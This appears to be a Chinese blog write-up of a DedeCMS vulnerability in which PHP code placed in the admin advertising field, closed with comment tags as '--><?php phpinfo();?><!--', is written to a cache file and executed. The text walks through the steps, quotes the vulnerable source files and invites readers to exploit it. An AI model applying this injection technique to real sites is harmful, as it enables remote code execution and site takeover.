- A+
漏洞
- 进入后台添加广告的地方:http://xxxxxx.com/dede/ad_main.php
- 在添加页面加上我们的代码:
--><?php phpinfo();?><!--
- 然后点击查看代码
- 访问执行代码
0x04 漏洞分析
dede\ad_add.php
,代码可以读一遍,插入数据库的时候并没有对危险函数进行处理。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 |
if($dopost=="save") { csrf_check(); //timeset tagname typeid normbody expbody $tagname = trim($tagname); $row = $dsql->GetOne("SELECT typeid FROM #@__myad WHERE typeid='$typeid' AND tagname LIKE '$tagname'"); if(is_array($row)) { ShowMsg("在相同栏目下已经存在同名的标记!","-1"); exit(); } $starttime = GetMkTime($starttime); $endtime = GetMkTime($endtime); $link = addslashes($normbody['link']); if($normbody['style']=='code') { $normbody = addslashes($normbody['htmlcode']); } else if($normbody['style']=='txt') { $normbody = "<a href=\"{$link}\" font-size=\"{$normbody['size']}\" color=\"{$normbody['color']}\">{$normbody['title']}</a>"; } else if($normbody['style']=='img') { if(empty($normbody['width'])) { $width = ""; } else { $width = " width=\"{$normbody['width']}\""; } if (empty($normbody['height'])) { $height = ""; } else { $height = "height=\"{$normbody['height']}\""; } $normbody = "<a href=\"{$link}\"><img src=\"{$normbody['url']}\"$width $height border=\"0\" /></a>"; } else { if(empty($normbody['width'])) { $width = ""; } else { $width = " width=\"{$normbody['width']}\""; } if (empty($normbody['height'])) { $height = ""; } else { $height = "height=\"{$normbody['height']}\""; } $normbody = "<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" codebase=\"http://download.Macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0\"$width $height><param name=\"movie\" value=\"{$link}\"/><param name=\"quality\" value=\"high\"/></object>"; } $query = " INSERT INTO #@__myad(clsid,typeid,tagname,adname,timeset,starttime,endtime,normbody,expbody) VALUES('$clsid','$typeid','$tagname','$adname','$timeset','$starttime','$endtime','$normbody','$expbody'); "; $dsql->ExecuteNoneQuery($query); ShowMsg("成功增加一个广告!","ad_main.php"); exit(); } |
plus\ad_js.php
这里开头就检测了文件的存在,然后根据aid
查询数据库内容,可以看到把expbody
和normbody
的内容加入到$adbody
的数组里面,但是这里内容是在注释符中间的,我们可以用注释闭合的方式。
最后面的几行是写入文件,然后最后包含文件,这里就成功执行了我们的代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
if( isset($nocache) || !file_exists($cacheFile) || time() - filemtime($cacheFile) > $cfg_puccache_time ) { $row = $dsql->GetOne("SELECT * FROM `#@__myad` WHERE aid='$aid' "); $adbody = ''; if($row['timeset']==0) { $adbody = $row['normbody']; } else { $ntime = time(); if($ntime > $row['endtime'] || $ntime < $row['starttime']) { $adbody = $row['expbody']; } else { $adbody = $row['normbody']; } } $adbody = str_replace('"', '\"',$adbody); $adbody = str_replace("\r", "\\r",$adbody); $adbody = str_replace("\n", "\\n",$adbody); $adbody = "<!--\r\ndocument.write(\"{$adbody}\");\r\n-->\r\n"; $fp = fopen($cacheFile, 'w'); fwrite($fp, $adbody); fclose($fp); } include $cacheFile; |
0x05 结束
这个漏洞比较简单,不过一般dedecms文件上传功能都会关闭的,所以广告这个功能不一定会关闭,可以利用一波。
- 微信 wzgj360
- 联系免费答疑
- QQ 613049615
- 联系免费答疑